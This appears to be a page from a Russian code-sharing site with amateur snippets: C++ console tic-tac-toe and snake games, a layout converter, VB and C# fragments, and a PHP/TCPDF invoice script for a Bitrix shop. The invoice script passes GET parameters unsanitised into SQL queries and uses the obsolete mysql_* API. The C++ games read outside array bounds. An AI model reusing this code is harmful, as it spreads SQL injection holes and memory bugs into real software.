Выводим переменную.

PHP

Сегодня мы научимся выводить переменную.
Это так просто!

<?php
$peremennaya = 'Hello World'; //задаем переменную
echo "$peremennaya"; // выводим ее
//после иcполнения кода у вас должно появится на странице Hello Word!
?>

Добавлено: 03 Августа 2013 11:49:37 Добавил: Андрей Ковальчук

Крестики-нолики

C++

Игра "Крестики-нолики"...

#include <iostream>
#include<locale>
#include <math.h>
#include <cmath>
#include<conio.h>
#include <stdio.h>
#include "windows.h"
using namespace std;
char mass[3][3]={{' ',' ',' '},{' ',' ',' '},{' ',' ',' '}};
int x=0,y=0,s=0,s1=0;
int i,j;
void main1();
void point()
{
	for(i=0;i<3;i++)
			{
				for(j=0;j<3;j++)
					{
						if(s1==0&&mass[i][j]==' ')
						{
							mass[i][j]='x';
							y=i;
							x=j;
								s1=1;
						}
					}
			}
		s1=0;
}
void print()
{
	for(i=0;i<3;i++)
		{
			cout<<mass[i][0]<<"|"<<mass[i][1]<<"|"<<mass[i][2]<<endl;

				if(i<2)
					{
						cout<<"-+-+-"<<endl;
					}
		}
}
void move(int get)
{
	if(get==72)
			{
				if(mass[y-1][x]==' ')
				{
					mass[y][x]=' ';
					mass[y-1][x]='x';
					y--;
				}
				else
				{
					if(mass[y-1][x]!=' '&&mass[y-2][x]==' '&&y==2)
						{
							mass[y][x]=' ';
							mass[0][x]='x';
							y=0;
						}
					
				}
			}
			if(get==80&&((y+1)!=3))
			{
				if(mass[y+1][x]==' ')
				{
					mass[y][x]=' ';
					mass[y+1][x]='x';
					y++;
				}
				else
				{
					if(mass[y+1][x]!=' '&&mass[y+2][x]==' '&&y==0)
						{
							mass[y][x]=' ';
							mass[2][x]='x';
							y=2;
						}
				}
				
			}
			if(get==75)
			{
				if(mass[y][x-1]==' ')
				{
					mass[y][x]=' ';
					mass[y][x-1]='x';
					x--;;
				}
				else
				{
					if(mass[y][x-1]!=' '&&(mass[y][x-2]==' ')&&x==2)
						{
							mass[y][x]=' ';
							mass[y][0]='x';
							x=0;
						}
					
				}
			}
			if(get==77)
			{
				if(mass[y][x+1]==' ')
				{
					mass[y][x]=' ';
					mass[y][x+1]='x';
					x++;
				}
				else
				{
					if(mass[y][x+1]!=' '&&mass[y][x+2]==' '&&x==0)
						{
							
							mass[y][x]=' ';
							mass[y][2]='x';
							x=2;
						}
					
				}
			}
			if(get==32)
			{
			for(i=0;i<3;i++)
			{
				for(j=0;j<3;j++)
					{
						if(s1==0&&mass[i][j]==' ')
						{
							mass[y][x]=' ';
							mass[i][j]='x';
							y=i;
							x=j;
								s1=1;
						}
					}
			}
			s1=0;
			}
			system("cls");
}
void test_1()
{
	int res[4]={0,0,0,0};
				for(i=0;i<3;i++)
				{
						if(mass[i][0]=='x'&&mass[i][1]=='x'&&mass[i][2]=='x')
						{
							res[0]+=3;
						}
						if(mass[0][i]=='x'&&mass[1][i]=='x'&&mass[2][i]=='x')
						{
							res[1]+=3;
						}
				}
					if(mass[0][0]=='x'&&mass[1][1]=='x'&&mass[2][2]=='x')
						{
							res[2]+=3;
						}
						else
						{
							res[2]=0;
						}
					if(mass[0][2]=='x'&&mass[1][1]=='x'&&mass[2][0]=='x')
						{
							res[3]+=3;
						}
						else
						{
							res[3]=0;
						}
					for(i=0;i<4;i++)
					{
						if(res[i]>=3)
						{
							cout<<"Player one win!"<<endl;
							exit(0);
						}
					}
}
void test_2()
{
	int res2[4]={0,0,0,0};
				for(i=0;i<3;i++)
				{
						if(mass[i][0]=='0'&&mass[i][1]=='0'&&mass[i][2]=='0')
						{
							res2[0]+=3;
						}
						if(mass[0][i]=='0'&&mass[1][i]=='0'&&mass[2][i]=='0')
						{
							res2[1]+=3;
						}
				}
					if(mass[0][0]=='0'&&mass[1][1]=='0'&&mass[2][2]=='0')
						{
							res2[2]+=3;
						}
						else
						{
							res2[2]=0;
						}
					if(mass[0][2]=='0'&&mass[1][1]=='0'&&mass[2][0]=='0')
						{
							res2[3]+=3;
						}
						else
						{
							res2[3]=0;
						}
					for(i=0;i<4;i++)
					{
						if(res2[i]>=3)
						{
							cout<<"Player two win!"<<endl;
							exit(0);
						}
					}
}
void point2()
{
	for(i=0;i<3;i++)
			{
				for(j=0;j<3;j++)
					{
						if(s1==0&&mass[i][j]==' ')
						{
							mass[i][j]='0';
							y=i;
							x=j;
								s1=1;
						}
					}
			}
		s1=0;
}
void move2(int get)
{
		if(get==72)
			{
				if(mass[y-1][x]==' ')
				{
					mass[y][x]=' ';
					mass[y-1][x]='0';
					y--;
				}
				else
				{
					if(mass[y-1][x]!=' '&&mass[y-2][x]==' '&&y==2)
						{
							mass[y][x]=' ';
							mass[0][x]='0';
							y=0;
						}
					
				}
			}
			if(get==80&&((y+1)!=3))
			{
				if(mass[y+1][x]==' ')
				{
					mass[y][x]=' ';
					mass[y+1][x]='0';
					y++;
				}
				else
				{
					if(mass[y+1][x]!=' '&&mass[y+2][x]==' '&&y==0)
						{
							mass[y][x]=' ';
							mass[2][x]='0';
							y=2;
						}
				}
				
			}
			if(get==75)
			{
				if(mass[y][x-1]==' ')
				{
					mass[y][x]=' ';
					mass[y][x-1]='0';
					x--;;
				}
				else
				{
					if(mass[y][x-1]!=' '&&(mass[y][x-2]==' ')&&x==2)
						{
							mass[y][x]=' ';
							mass[y][0]='0';
							x=0;
						}
					
				}
			}
			if(get==77)
			{
				if(mass[y][x+1]==' ')
				{
					mass[y][x]=' ';
					mass[y][x+1]='0';
					x++;
				}
				else
				{
					if(mass[y][x+1]!=' '&&mass[y][x+2]==' '&&x==0)
						{
							
							mass[y][x]=' ';
							mass[y][2]='0';
							x=2;
						}
					
				}
			}
			if(get==32)
			{
			for(i=0;i<3;i++)
			{
				for(j=0;j<3;j++)
					{
						if(s1==0&&mass[i][j]==' ')
						{
							mass[y][x]=' ';
							mass[i][j]='0';
							y=i;
							x=j;
								s1=1;
						}
					}
			}
		s1=0;
			}
			system("cls");
}
void test3()
{
	int ser=0;
	for(int m=0;m<3;m++)
		{
			for(int c=0;c<3;c++)
			{
				if(mass[m][c]!=' ')
				{
					ser++;
				}
				else
				{
					ser=0;
				}
			}
		}
		if(ser==9)
		{
			cout<<"You too lose!"<<endl;
			exit(0);
		}
}
void main()
{
	int get;
	while(1)
	{
		point();
			do
			{
			print();
			get=_getch();
			move(get);
			}while(get!=13);
		system("cls");
		test_1();
		test3();
		point2();
			do
			{
			print();
			get=_getch();
			move2(get);
			}while(get!=13);
		test_2();
				
	}
}

Добавлено: 03 Августа 2013 09:06:57 Добавил: Андрей Ковальчук

Переводчик с Английских букв на Русские

C++

Для использования нужны 2 текстовых документа "eng.txt" и "rus.txt"...

#include <iostream>
#include<stdio.h>
#include<locale>
#include <math.h>
#include <cmath>
#include<conio.h>
#include "windows.h"
using namespace std;
void main()
{
	setlocale( LC_ALL,"Russian" );
	char rus[73]={'а','б','в','г','д','е','ё','ж','з','и','й','к','л','м','н','о','п','р','с','т','у','ф','х','ц','ч','ш','щ','ъ','ы','ь','э','ю','я','А','Б','В','Г','Д','Е','Ё','Ж','З','И','Й','К','Л','М','Н','О','П','Р','С','Т','У','Ф','Х','Ц','Ч','Ш','Щ','Ъ','Ы','Ь','Э','Ю','Я',',','.','!','?',':',';','\"'};
	char eng[73]={'f',',','d','u','l','t','`',';','p','b','q','r','k','v','y','j','g','h','c','n','e','a','[','w','x','i','o',']','s','m','\?','.','z','F','<','D','U','L','T','~',':','P','B','Q','R','K','V','Y','J','G','H','C','N','E','A','{','W','X','I','O','}','S','M','\\','>','Z','.','/','!','&','^','$','@'};
	char mass[100][100];

	FILE* file;
	file=fopen("eng.txt","rt");
	fread(&mass,sizeof(char),sizeof(mass),file);
	fclose(file);

	file=fopen("rus.txt","wt");

	for(int i=0;i<100;i++)
	{
		for(int j=0;j<100;j++)
		{
			for(int let=0;let<73;let++)
			{
				if(mass[i][j]==eng[let])
				{
					mass[i][j]=rus[let];
					fwrite(&mass[i][j],sizeof(char),sizeof(mass[i][j]),file);
					cout<<mass[i][j];
				}
			}
			if(mass[i][j]==' '||mass[i][j]=='\n')
			{
					fwrite(&mass[i][j],sizeof(char),sizeof(mass[i][j]),file);
					cout<<mass[i][j];
			}
		}
	}

	cout<<endl;

	fclose(file);
}

Добавлено: 03 Августа 2013 09:05:49 Добавил: Андрей Ковальчук

Консольная Змейка

C++

Простая игра "Змейка"...

#include <iostream>
#include<stdio.h>
#include<locale>
#include <math.h>
#include <cmath>
#include<conio.h>
#include "windows.h"
using namespace std;
int const a=18;
int const b=20;
char mass[a][b];
int x,y,s=0,s1=0,s2=1,s3=0;
float s_time=5;
int len=1,bonus=0,inter=250;
int last_get=80,posh=11;
struct position
{
	int x; 
	int y;
};
position snake[324];
position pos;
void lose()
{
	cout<<"You lose..."<<endl;
				exit(0);
}
void filling()
{
	pos.x=1;
	pos.y=1;
	for(int i=0;i<324;i++)
	{
		snake[i].x=1;
		snake[i].y=1;
	}
}
void swp()
{
			for(int i=len+2;i>=0;i--)
			{
				snake[i+1].x=snake[i].x;
				snake[i+1].y=snake[i].y;
			}
		snake[0].x=pos.x;
		snake[0].y=pos.y;
		
}
int move(int get)
{
	if(get==72)
		{
			if(mass[pos.y-1][pos.x]=='*')
			{
				lose();
			}
			if(mass[pos.y-1][pos.x]=='0')
			{
				len++;
			}
			if(mass[pos.y-1][pos.x]=='@')
			{
				len++;
				bonus++;
			}
			if(mass[pos.y-1][pos.x]==':')
			{
				pos.y=a-2;
			}
			else
			{
			pos.y--;
			}
			last_get=get;
		}
		if(get==80)
		{
			if(mass[pos.y+1][pos.x]=='*')
			{
				lose();
			}
			if(mass[pos.y+1][pos.x]=='0')
			{
				len++;
			}
			if(mass[pos.y+1][pos.x]=='@')
			{
				len++;
				bonus++;
			}
				if(mass[pos.y+1][pos.x]==':')
			{
				pos.y=1;
			}
				else
				{
			pos.y++;
				}
				last_get=get;
		}
		if(get==75)
		{
			if(mass[pos.y][pos.x-1]=='*')
			{
				lose();
			}
			if(mass[pos.y][pos.x-1]=='0')
			{
				len++;
			}
			if(mass[pos.y][pos.x-1]=='@')
			{
				len++;
				bonus++;
			}
			if(mass[pos.y][pos.x-1]==':')
			{
				pos.x=b-2;
			}
			else
			{
				pos.x--;
			}
			last_get=get;
		}
		if(get==77)
		{
			if(mass[pos.y][pos.x+1]=='*')
			{
				lose();
			}
			if(mass[pos.y][pos.x+1]=='0')
			{
				len++;
			}
			if(mass[pos.y][pos.x+1]=='@')
			{
				len++;
				bonus++;
			}
			if(mass[pos.y][pos.x+1]==':')
			{
				pos.x=1;
			}
			else
			{
				pos.x++;
			}
			last_get=get;
		}
		if(get==43)
			{
				if(inter<=1000)
				{
				inter+=25;
				}
				get=last_get;
			}
		if(get==45)
			{
				if(inter!=0)
				{
				inter-=25;
				}
				get=last_get;
			}
		if(get==48)
			{
				inter=250;
				get=last_get;
			}
		else
			{
				get=last_get;
			}
		swp();
		if(get==13)
		{
			system("cls");
			for(int i=0;i<=len+1;i+=2)
			{
				cout<<snake[i].y<<" "<<snake[i].x<<endl;
			}
			cout<<"Bonus: "<<bonus<<endl;
			cout<<"Last get: "<<last_get<<endl;
			Sleep(10000);
			get=last_get;
		}
		return get;
}
void out()
{
	s1=0;
				for(int i=0;i<a;i++)	
				{
						for(int j=0;j<b;j++)
						{
							if(mass[i][j]=='0'||(mass[i][j]=='@'&&s_time!=0))
								{
									s1=1;
								}
						}
				}
			for(int i=0;i<a;i++)
			{
				for(int j=0;j<b;j++)
					{
						if(mass[i][j]!='0'&&mass[i][j]!='@'||s_time==0)
							{
							mass[i][j]=' ';
							}
					}
			}
			
			for(int i=0;i<len;i++)
			{
				mass[snake[i].y][snake[i].x]='*';
			}
			for(int i=0;i<a;i++)
			{
				for(int g=0;g<b;g++)
					{
						if((g==0||g==(b-1)||i==0||i==(a-1))&&(mass[i][g]!='*'))
						{
							mass[i][g]=':';	
						}
					}
			}

		
			if(s1!=1)
			{
					s_time=5;
						do{
							y=rand()%(a-1)+1;
							x=rand()%(b-1)+1;
							if(mass[y][x]==' '&&(s2%posh)!=0)
							{
								mass[y][x]='0';
								s=1;
								s3=0;
								s2++;
							}
							if(mass[y][x]==' '&&(s2%posh)==0)
							{
								mass[y][x]='@';
								s=1;
								s3=1;
								s2++;
							}
						}while(s==0);
						s=0;
			}

}
void print()
{
	for(int i=0;i<a;i++)
			{
				for(int j=0;j<b;j++)
					{
						cout<<mass[i][j];
					}
				if(i==0)
						{
							cout<<"\tYour Points:";
						}
				if(i==1)
						{
							cout<<"\t     "<<(len-1)*10+bonus*100-bonus*10;
						}
				if(i==3&&s3==1)
						{
							cout<<"\tBonus time:";
						}
				if(i==4&&s3==1)
						{
							cout<<"\t";
							for(int i=s_time;i>=0;i--)
							{
								cout<<"**";
							}
							s_time-=0.25;
						}
				cout<<endl;
			}
}
void main()
{
	srand(time(NULL));
	int get=80;
	filling();
		while(1)
		{
			out();
			print();
				if (kbhit() == true)
				{
					get=_getch();
				}
			get=move(get);
			Sleep(inter);
			system("cls");
		}
	
}

Добавлено: 03 Августа 2013 09:02:57 Добавил: Андрей Ковальчук

Рисование VB

Кусочек квалификационной, рисование круга вписанного в квадрат квадрата в кргу и т.д.

Public Class Form1
    Dim n, a, b As Integer
    Dim dx, dy, x, y As Single
    Dim gr As Graphics
    Dim penr As New Pen(Brushes.Black, 2)

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        gr = PictureBox1.CreateGraphics
        gr.Clear(Color.White)
        n = TextBox1.Text
        a = 400
        x = 10
        y = 10
        Timer1.Start()
        'Цикл рисования
        For i = 1 To n
            gr.DrawRectangle(penr, x, y, a, a)
            gr.DrawEllipse(penr, x, y, a, a)
            b = Math.Sqrt((a / 2 * a / 2) + (a / 2 * a / 2))
            dx = (a - b) / 2
            dy = (a - b) / 2
            x = x + dx
            y = y + dy
            a = b
        Next


    End Sub

Добавлено: 03 Августа 2013 07:18:19 Добавил: Андрей Ковальчук

Обрашение в цикле к элементам формы по их имени

C#

Элементы формы, C#

//1-ый вариант
foreach (Control c in this.Controls)
            {
                if (c is TextBox)
                    if ((c as TextBox).Name == "t1")
                        MessageBox.Show((c as TextBox).Text);
            }

//2-ой вариант
var cont = this.Controls.Find("t1",true);

//3-ий вариант
Controls["textBox2"].Text = "OK";

Добавлено: 03 Августа 2013 06:39:29 Добавил: Андрей Ковальчук

PHP форма для PDF. Форма счета для фирмы

PHP

Входные данные через ГЕТ . id и кол-во. (писалось под битрикс. Ставить свои входные данные)

require_once 'tcpdf/tcpdf.php'; // подключаем библиотеку

$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);

// set document information
$pdf->SetCreator(PDF_CREATOR);
$pdf->SetTitle('Счет');




// ---------------------------------------------------------

// set font

// add a page
$pdf->AddPage();


$pdf->SetFont('freesans', '', 8);




include __DIR__ .'/../../../../../../../bitrix/php_interface/dbconn.php';//after_connect.php

$db = mysql_connect($DBHost,$DBLogin,$DBPassword);
$connect_to_bd = mysql_select_db($DBName,$db);
//mysql_query("SET NAMES 'cp1251'");mysql_query("SET CHARACTER SET 'cp1251'");
mysql_query("SET NAMES 'utf8' COLLATE 'utf8_general_ci'"); 
mysql_query("SET CHARACTER SET 'utf8'");

@session_start();



$OGRN = '';
$ADDR = '';
$FIO = '';
$PHONE = '';
$ZIP = '';
$KPP = '';
$NAME_MAN = '';
$NAME_COMP = '';
$EMAIL ='';
$SITY = '';
$ADDR_UR = '';
$INN = '';



$email = $_SESSION["SESS_AUTH"]['EMAIL'];
$all_prod = mysql_query("select `ORDER_ID` from `b_sale_order_props_value` where `VALUE`='$email' and `CODE`='EMAIL' ORDER BY `ID` DESC LIMIT 0,1");
while($prod = mysql_fetch_assoc($all_prod)){
// ORDER_ID
$all_prod_ak = mysql_query("select `VALUE` from `b_sale_order_props_value` where `ORDER_ID`='{$prod['ORDER_ID']}' and `ORDER_PROPS_ID`='1' ORDER BY `ID` DESC LIMIT 0,1");
while($prod_ak = mysql_fetch_assoc($all_prod_ak)){
$NAME_MAN .= $prod_ak['VALUE'];
}
$all_prod_ak = mysql_query("select `VALUE` from `b_sale_order_props_value` where `ORDER_ID`='{$prod['ORDER_ID']}' and `ORDER_PROPS_ID`='2' ORDER BY `ID` DESC LIMIT 0,1");
while($prod_ak = mysql_fetch_assoc($all_prod_ak)){
$EMAIL .= $prod_ak['VALUE'];
}
$all_prod_ak = mysql_query("select `VALUE` from `b_sale_order_props_value` where `ORDER_ID`='{$prod['ORDER_ID']}' and `ORDER_PROPS_ID`='3' ORDER BY `ID` DESC LIMIT 0,1");
while($prod_ak = mysql_fetch_assoc($all_prod_ak)){
$PHONE .= $prod_ak['VALUE'];
}
$all_prod_ak = mysql_query("select `VALUE` from `b_sale_order_props_value` where `ORDER_ID`='{$prod['ORDER_ID']}' and `ORDER_PROPS_ID`='4' ORDER BY `ID` DESC LIMIT 0,1");
while($prod_ak = mysql_fetch_assoc($all_prod_ak)){
$ZIP .= $prod_ak['VALUE'];
}
$all_prod_ak = mysql_query("select `VALUE` from `b_sale_order_props_value` where `ORDER_ID`='{$prod['ORDER_ID']}' and `ORDER_PROPS_ID`='5' ORDER BY `ID` DESC LIMIT 0,1");
while($prod_ak = mysql_fetch_assoc($all_prod_ak)){
$SITY .= $prod_ak['VALUE'];
}
$all_prod_ak = mysql_query("select `VALUE` from `b_sale_order_props_value` where `ORDER_ID`='{$prod['ORDER_ID']}' and `ORDER_PROPS_ID`='7' ORDER BY `ID` DESC LIMIT 0,1");
while($prod_ak = mysql_fetch_assoc($all_prod_ak)){
$ADDR .= $prod_ak['VALUE'];
}
$all_prod_ak = mysql_query("select `VALUE` from `b_sale_order_props_value` where `ORDER_ID`='{$prod['ORDER_ID']}' and `ORDER_PROPS_ID`='8' ORDER BY `ID` DESC LIMIT 0,1");
while($prod_ak = mysql_fetch_assoc($all_prod_ak)){
$NAME_COMP .= $prod_ak['VALUE'];
}
$all_prod_ak = mysql_query("select `VALUE` from `b_sale_order_props_value` where `ORDER_ID`='{$prod['ORDER_ID']}' and `ORDER_PROPS_ID`='9' ORDER BY `ID` DESC LIMIT 0,1");
while($prod_ak = mysql_fetch_assoc($all_prod_ak)){
$ADDR_UR .= $prod_ak['VALUE'];
}
$all_prod_ak = mysql_query("select `VALUE` from `b_sale_order_props_value` where `ORDER_ID`='{$prod['ORDER_ID']}' and `ORDER_PROPS_ID`='10' ORDER BY `ID` DESC LIMIT 0,1");
while($prod_ak = mysql_fetch_assoc($all_prod_ak)){
$INN .= $prod_ak['VALUE'];
}
$all_prod_ak = mysql_query("select `VALUE` from `b_sale_order_props_value` where `ORDER_ID`='{$prod['ORDER_ID']}' and `ORDER_PROPS_ID`='11' ORDER BY `ID` DESC LIMIT 0,1");
while($prod_ak = mysql_fetch_assoc($all_prod_ak)){
$KPP .= $prod_ak['VALUE'];
}
}



if(empty($NAME_COMP) && empty($INN) && empty($KPP) && empty($ZIP) && empty($ADDR_UR) && empty($ADDR)){
$inp = '-';
}else{
$inp_a = '';
$inp = $NAME_COMP.' , ИНН  '.$INN.' , КПП '.$KPP.', '.$ZIP.', '.$ADDR.$ADDR_UR;
}

$ex_Q = explode(',',$_GET['prod_q']);
$ex_T = explode(',',$_GET['tablesP']);
$time = time();

/* ARRAY */
$array_date = array('1'=>'янаваря','2'=>'февраля','3'=>'марта','4'=>'апреля','5'=>'мая','6'=>'июня','7'=>'июля','8'=>'августа','9'=>'сентября','10'=>'октября','11'=>'ноября','12'=>'декабря');
$array_col = array('1'=>'один','2'=>'два','3'=>'три','4'=>'четыре','5'=>'пять','6'=>'шесть','7'=>'семь','8'=>'восемь','9'=>'девять','10'=>'десять',
'11'=>'одинадцать','12'=>'двенадцать','13'=>'тринадцать','14'=>'четырнадцать','15'=>'пятнадцать','16'=>'шестнадцать','17'=>'семнадцать','18'=>'восемнадцать','19'=>'девятнадцать','20'=>'двадцать',
'30'=>'тридцать','40'=>'сорок','50'=>'пятьдесят','60'=>'шестьдесят','70'=>'семдесят','80'=>'восемьдесят','90'=>'девяносто','100'=>'сто',
'200'=>'двести','300'=>'тристо','400'=>'четыреста','500'=>'пятьсот','600'=>'шестьсот','700'=>'семьсот','800'=>'восемьсот','900'=>'девятьсот');

$array_col_ROOT = array('1'=>'Один','2'=>'Два','3'=>'Три','4'=>'Четыре','5'=>'Пять','6'=>'Шесть','7'=>'Семь','8'=>'Восемь','9'=>'Девять','10'=>'Десять',
'11'=>'Одинадцать','12'=>'Двенадцать','13'=>'Тринадцать','14'=>'Четырнадцать','15'=>'Пятнадцать','16'=>'Шестнадцать','17'=>'Семнадцать','18'=>'Восемнадцать','19'=>'Девятнадцать','20'=>'Двадцать',
'30'=>'Тридцать','40'=>'Сорок','50'=>'Пятьдесят','60'=>'Шестьдесят','70'=>'Семдесят','80'=>'Восемьдесят','90'=>'Девяносто','100'=>'Сто',
'200'=>'Двести','300'=>'Тристо','400'=>'Четыреста','500'=>'Пятьсот','600'=>'Шестьсот','700'=>'Семьсот','800'=>'Восемьсот','900'=>'Девятьсот');



$schet = "ООО «Формула Безопасности-Урал», ИНН 6670397828, КПП 667001001, 620137,";
$schet_2 = "Свердловская обл,Екатеринбург г, Студенческая ул, дом № 1, корпус 18, оф.110";
$all_h1 = 'СЧЕТ на оплату № '.$time .'  от ';
$pok_1 ='Поставщик ';
$pok_2 = 'Покупатель ';
$date = date('j').' '.$array_date[date('n')].' '.date('Y');
$g = 'г.';
$tov = 'Товары (работы, услуги)';
$kol_vo =  'Кол-во';
$el =  'Ед.';
$cena =  'Цена';
$summa = 'Сумма';
$csht = 'шт';
$numberic = '№';
$RUB = ' руб';//Итого :
$itogo = 'Итого :';// НДС (18%, включен в цену):
$mini_nds = 'НДС (18%, включен в цену):'; // Всего к оплате :
$real_oplata = 'Всего к оплате :'; // Всего наименований 
$all_naim = 'Всего наименований '; // , на сумму 
$na_summ = ' , на сумму ';
$KOP = 'коп';
$RUKOVODITEL = 'Руководитель';
$BUXGALTER = 'Бухгалтер';


/* HEAD */

$one = <<<EOD
<table class="docs">
<tr><td colspan="8" class="left"><h3>
EOD;
$one .= $pdf->SetFont( '', 'b' ,14);
$one .= $pdf->Cell( 83,10, $all_h1, 0, 0, 'L',false );
$one .= $pdf->Cell( 36,10, $date, 0, 0, 'L',false );
$one .= $pdf->Cell( 15,10, $g, 0, 1, 'L',false );
$one .= $pdf->SetFont( '', '' ,11);
$one .=<<<EOD
</h3></td></tr>
<tr><td>
EOD;
$one .= $pdf->Cell( 25,4, $pok_1, 0, 0, 'L',false );
$one .= $pdf->SetFont( '', 'b' ,11);
$one .= $pdf->Cell( 70,5, $schet, 0, 1, 'L',false,'',0,true,'','' );
$one .= $pdf->Cell( 25,4, '', 0, 0, 'L',false );
$one .= $pdf->Cell( 70,5, $schet_2, 0, 1, 'L',false,'',0,true,'','' );
$one .= $pdf->SetFont( '', '' ,11);
$one .= $pdf->Cell( 25,4, $pok_2, 0, 0, 'L',false );
$one .= $pdf->SetFont( '', 'b' ,9);
$one .= $pdf->Cell( 70,12, $exel_or_all, 0, 1, 'L',false,'',0,true,'T','T' );
$one .= $pdf->SetFont( '', '' ,11);
$one .= $pdf->Cell( 94.9,0.4,'', 'B',0, 0, '',false );
$one .= $pdf->Cell( 40,0.4,'', 'B',0, 0, '',false );
$one .= $pdf->Cell( 10,0.4,'', 'B',0, 0, '',false );
$one .= $pdf->Cell( 20,0.4,'', 'B',0, 0, '',false );
$one .= $pdf->Cell( 20,0.4,'', 'B',1, 0, '',false );
$one .= $pdf->Cell( 0.4,4,'', 'L',0, 0, 'C',false );
$one .= $pdf->SetFont( '', 'b' ,11);
$one .= $pdf->Cell( 4,4, $numberic, 1, 0, 'C',false );
$one .= $pdf->Cell( 110,4, $tov, 1, 0, 'C',false );
$one .= $pdf->Cell( 20,4, $kol_vo, 1, 0, 'C',false );
$one .= $pdf->Cell( 10,4, $el, 1, 0, 'C',false );
$one .= $pdf->Cell( 20,4, $cena, 1, 0, 'C',false );
$one .= $pdf->Cell( 20,4, $summa, 1, 0, 'C',false );
$one .= $pdf->Cell( 0.4,4,'', 'R',1, 0, 'C',false );
$one .= $pdf->SetFont( '', '' ,11);

$NUM_PROD = '';
for($i = 1;$i<=count($ex_Q)-1;$i++){

$moresumm_p = mysql_fetch_assoc(mysql_query("SELECT `PRICE` FROM  `b_catalog_price` WHERE `PRODUCT_ID`='{$ex_T[$i]}'"));
$table_price_num = $moresumm_p['PRICE']*$ex_Q[$i];
$tottal_sunn .= $table_price_num + $tottal_sunn;

$NUM_PROD = $ex_Q[$i] + $NUM_PROD;
/* ALL SUMM */
$WHERE_ALL_SUMM = $WHERE_ALL_SUMM + $table_price_num;
$NAMES_TOVAR = mysql_fetch_assoc(mysql_query("SELECT `NAME` FROM `b_iblock_element` WHERE `ID`='{$ex_T[$i]}'"));

$one .= $pdf->Cell( 0.4,4,'', 'L',0, 0, 'C',false );
$one .= $pdf->Cell( 4,4, $i, 1, 0, 'C',false );
$one .= $pdf->Cell( 110,4, $NAMES_TOVAR['NAME'], 1, 0, 'C',false );
$one .= $pdf->Cell( 20,4, $ex_Q[$i], 1, 0, 'C',false );
$one .= $pdf->Cell( 10,4, $csht, 1, 0, 'C',false );
$one .= $pdf->Cell( 20,4, $moresumm_p['PRICE'], 1, 0, 'C',false );
$one .= $pdf->Cell( 20,4, $table_price_num, 1, 0, 'C',false );
$one .= $pdf->Cell( 0.4,4,'', 'R',1, 1, 'C',false );

}
$one .= $pdf->Cell( 94.9,0.4,'', 'T',0, 0, '',false );
$one .= $pdf->Cell( 40,0.4,'', 'T',0, 0, '',false );
$one .= $pdf->Cell( 10,0.4,'', 'T',0, 0, '',false );
$one .= $pdf->Cell( 20,0.4,'', 'T',0, 0, '',false );
$one .= $pdf->Cell( 20,0.4,'', 'T',1, 0, '',false );
$one .= $pdf->SetFont( '', 'b' ,11);
$one .= $pdf->Cell( 4,4, '', 0, 0, 'C',false );
$one .= $pdf->Cell( 110,4, '', 0, 0, 'C',false );
$one .= $pdf->Cell( 20,4, '', 0, 0, 'C',false );
$one .= $pdf->Cell( 30,4, $itogo, 0, 0, 'C',false );
$one .= $pdf->Cell( 20,4, $WHERE_ALL_SUMM.$RUB, 0, 1, 'C',false );

$NDS_FROM_XLS = ceil($WHERE_ALL_SUMM)/100*18;

$one .= $pdf->Cell( 4,4, '', 0, 0, 'C',false );
$one .= $pdf->Cell( 82,4, '', 0, 0, 'C',false );
$one .= $pdf->Cell( 15,4, '', 0, 0, 'C',false );
$one .= $pdf->Cell( 46,4, $mini_nds, 0, 0, 'L',false );
$one .= $pdf->Cell( 40,4, $NDS_FROM_XLS.$RUB, 0, 1, 'R',false );
$one .= $pdf->Cell( 4,4, '', 0, 0, 'C',false );
$one .= $pdf->Cell( 92,4, '', 0, 0, 'C',false );
$one .= $pdf->Cell( 15,4, '', 0, 0, 'C',false );
$one .= $pdf->Cell( 46,10, $real_oplata, 0, 0, 'R',false ,'',0,true,'T','T' );
$one .= $pdf->Cell( 30,4,$WHERE_ALL_SUMM.$RUB, 0, 1, 'R',false );
$one .= $pdf->Cell( 100,7,'', 0, 1, 'R',false );
$one .= $pdf->SetFont( '', '' ,10);
$one .= $pdf->Cell( 100,4,'Всего наименований '.$NUM_PROD.', на сумму '.$WHERE_ALL_SUMM.$RUB, 0, 1, 'L',false );


$all_summ = $WHERE_ALL_SUMM;

$cols = array(); 
while ($all_summ > 0) { 
    $cols[] = $all_summ % 10; 
    $all_summ = intval($all_summ / 10);  
} 
$cols_num = count($cols);
$summ_text = '';
for($ost = $cols_num;$ost>=0;$ost--){
if($cols[$ost]<5 and $cols[$ost]>1){$ok='я';}elseif($cols[$ost]==1){$ok='ь';}else{$ok='ей';}
if($cols[$ost]>1 and $cols[$ost]<5){$ok_2='а';}elseif($cols[$ost]==1){$ok_2='';}else{$ok_2='ов';}
if($cols[$ost]>1 and $cols[$ost]<5){$ok_3='и';}elseif($cols[$ost]==1){$ok_3='а';}else{$ok_3='';}
if($ost==0){$text='';$ii = (int)$cols[$ost];}
elseif($ost==1){$text='';$ii = (int)$cols[$ost].'0';}
elseif($ost==2){$text='';$ii = (int)$cols[$ost].'00';}
elseif($ost==3){$text='тысяч'.$ok_3;$ii = (int)$cols[$ost];}
elseif($ost==4){$text='';$ii = (int)$cols[$ost].'0';}
elseif($ost==5){$text='';$ii = (int)$cols[$ost].'00';}
elseif($ost==6){$text='миллион'.$ok_2;$ii = (int)$cols[$ost];}
elseif($ost==7){$text='';$ii = (int)$cols[$ost].'0';}
elseif($ost==8){$text='';$ii = (int)$cols[$ost].'00';}
elseif($ost==9){$text='миллирад'.$ok_2;$ii = (int)$cols[$ost];}
elseif($ost==10){$text='';$ii = (int)$cols[$ost].'0';}
elseif($ost==11){$text='';$ii = (int)$cols[$ost].'00';}
else{$text='';}
if($ost==3){$summ_text.='тысяч'.$ok_3.' ';$ii = (int)$cols[$ost];}else{}
if($cols[$ost]==0){}else{
if($ost == $cols_num-1){$summ_text.=$array_col_ROOT[$ii].' '.$text.' ';}else{
$summ_text.=$array_col[$ii].' '.$text.' ';}
}
}
$summ_text.='рубл'.$ok;$ii = (int)$cols[$ost];

$one .= $pdf->Cell( 200,4, $summ_text, 0, 1, 'L',false );
$one .= $pdf->Cell( 70,10, '', 0, 1, 'L',false );
$one .= $pdf->Cell( 24,4, $RUKOVODITEL, 0, 0, 'L',false );
$one .= $pdf->Cell( 70,4, '______________________________', 0, 0, 'L',false );
$one .= $pdf->Cell( 24,4, $BUXGALTER , 0, 0, 'L',false );
$one .= $pdf->Cell( 20,4, '______________________________', 0, 0, 'L',false );


